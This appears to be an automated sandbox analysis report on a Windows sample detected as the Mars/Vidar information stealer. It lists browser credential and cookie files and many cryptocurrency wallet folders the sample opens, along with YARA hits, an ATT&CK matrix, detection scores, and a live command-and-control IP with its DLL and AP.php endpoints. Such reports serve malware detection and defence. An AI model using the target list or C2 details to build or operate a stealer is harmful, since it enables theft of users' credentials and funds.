Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\AlternateServices.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\3a40aaf9-3f8b-43a2-85e8-88e3ffc7666f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\pkcs11.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\SiteSecurityServiceState.txt	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\78267ebf-1fb3-4b11-82e9-903e54a2a54e	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\parent.lock	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\search.json.mozlz4	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings\277ffbb3-8e94-4f3f-acac-7a401d130160	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333829746.67aa4432-87f8-463e-b422-f6679add9971.first-shutdown.jsonlz4	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings\6fc53411-ad83-4cf6-a5f6-905f0f3f52e8	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings\7278f154-e8f4-4235-84c5-c5c1c6af0084	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10\1696333834606.011115ff-9301-40fc-805e-ba07b7fdfce4.event.jsonlz4	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior

Source: Yara match	File source: 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Builded.exe PID: 7304, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 1.2.Builded.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1699006195.0000000000401000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 1.2.Builded.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1699006195.0000000000401000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1699174653.000000000069E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Builded.exe PID: 7304, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	31 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Masquerading	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	11 Virtualization/Sandbox Evasion	LSASS Memory	231 Security Software Discovery	Remote Desktop Protocol	3 Data from Local System	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	11 Disable or Modify Tools	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Account Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 System Owner/User Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	3 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	236 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
8BQ2v9glrG.exe	83%	ReversingLabs	Win64.Trojan.MarsStealer
8BQ2v9glrG.exe	54%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal		Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal		Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal		Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal		Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Virustotal		Browse
C:\ProgramData\sqlite3.dll	0%	ReversingLabs
C:\ProgramData\sqlite3.dll	0%	Virustotal		Browse
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sqlite3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sqlite3[1].dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	0%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	96%	ReversingLabs	Win32.Trojan.MarsStealer
C:\Users\user\AppData\Local\Temp\RarSFX0\Builded.exe	71%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
http://www.mozilla.com0	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://support.mozilla.org/products/firefox	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://104.194.151.11/msvcp140.dllF	0%	Avira URL Cloud	safe
http://104.194.151.11/sqlite3.dll	100%	Avira URL Cloud	malware
http://104.194.151.11/nss3.dll	100%	Avira URL Cloud	malware
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
http://104.194.151.11/softokn3.dll	100%	Avira URL Cloud	malware
http://104.194.151.11/mozglue.dllZ	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://104.194.151.11/softokn3.dll	0%	Virustotal		Browse
http://104.194.151.11/nss3.dll	0%	Virustotal		Browse
http://104.194.151.11/msvcp140.dll	100%	Avira URL Cloud	malware
http://104.194.151.11/sqlite3.dll	0%	Virustotal		Browse
http://104.194.151.11/vcruntime140.dll7I	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Virustotal		Browse
http://104.194.151.11/AP.php	100%	Avira URL Cloud	malware
http://104.194.151.11/vcruntime140.dllAH	0%	Avira URL Cloud	safe
http://104.194.151.11/nss3.dllr	0%	Avira URL Cloud	safe
http://104.194.151.11/freebl3.dll	100%	Avira URL Cloud	malware
http://104.194.151.11/vcruntime140.dll	100%	Avira URL Cloud	malware
http://104.194.151.11/softokn3.dllt	0%	Avira URL Cloud	safe
http://104.194.151.11/AP.php	0%	Virustotal		Browse
http://104.194.151.11/mozglue.dll	100%	Avira URL Cloud	malware
http://104.194.151.11/freebl3.dll	0%	Virustotal		Browse
http://104.194.151.11/vcruntime140.dll	0%	Virustotal		Browse
http://104.194.151.11/mozglue.dll	0%	Virustotal		Browse
http://104.194.151.11/msvcp140.dll	0%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://104.194.151.11/sqlite3.dll	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://104.194.151.11/nss3.dll	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://104.194.151.11/softokn3.dll	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://104.194.151.11/msvcp140.dll	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://104.194.151.11/AP.php	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://104.194.151.11/freebl3.dll	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://104.194.151.11/vcruntime140.dll	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://104.194.151.11/mozglue.dll	true	0%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Builded.exe, 00000001.00000003.1657460536.000000000074F000.00000004.00000020.00020000.00000000.sdmp, JWTR1NG4.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	Builded.exe, 00000001.00000003.1691641639.0000000009408000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://104.194.151.11/msvcp140.dllF	Builded.exe, 00000001.00000002.1699174653.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	mozglue[1].dll.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	Builded.exe, 00000001.00000003.1657460536.000000000074F000.00000004.00000020.00020000.00000000.sdmp, JWTR1NG4.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Builded.exe, 00000001.00000003.1657460536.000000000074F000.00000004.00000020.00020000.00000000.sdmp, JWTR1NG4.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	false	URL Reputation: safe	unknown
http://104.194.151.11/mozglue.dllZ	Builded.exe, 00000001.00000002.1699174653.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com0	nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Builded.exe, 00000001.00000003.1657460536.000000000074F000.00000004.00000020.00020000.00000000.sdmp, JWTR1NG4.1.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Builded.exe, 00000001.00000003.1657460536.000000000074F000.00000004.00000020.00020000.00000000.sdmp, JWTR1NG4.1.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	Builded.exe, 00000001.00000002.1702441946.00000000096D8000.00000004.00000020.00020000.00000000.sdmp, 1NYCBAAI.1.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Builded.exe, 00000001.00000002.1702441946.00000000096D8000.00000004.00000020.00020000.00000000.sdmp, 1NYCBAAI.1.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	Builded.exe, 00000001.00000003.1657460536.000000000074F000.00000004.00000020.00020000.00000000.sdmp, JWTR1NG4.1.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Builded.exe, 00000001.00000003.1691641639.0000000009408000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefox	Builded.exe, 00000001.00000002.1702662144.000000000A14C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	Builded.exe, 00000001.00000003.1657460536.000000000074F000.00000004.00000020.00020000.00000000.sdmp, JWTR1NG4.1.dr	false	URL Reputation: safe	unknown
http://104.194.151.11/vcruntime140.dll7I	Builded.exe, 00000001.00000002.1699174653.0000000000706000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	false	URL Reputation: safe	unknown
http://104.194.151.11/nss3.dllr	Builded.exe, 00000001.00000002.1699174653.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.194.151.11/vcruntime140.dllAH	Builded.exe, 00000001.00000002.1699174653.0000000000706000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	1NYCBAAI.1.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Builded.exe, 00000001.00000003.1657460536.000000000074F000.00000004.00000020.00020000.00000000.sdmp, JWTR1NG4.1.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	1NYCBAAI.1.dr	false	URL Reputation: safe	unknown
http://104.194.151.11/softokn3.dllt	Builded.exe, 00000001.00000002.1699174653.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Builded.exe, 00000001.00000003.1657460536.000000000074F000.00000004.00000020.00020000.00000000.sdmp, JWTR1NG4.1.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.194.151.11	unknown	United States		53667	PONYNETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1498386
Start date and time:	2024-08-24 11:51:06 +02:00
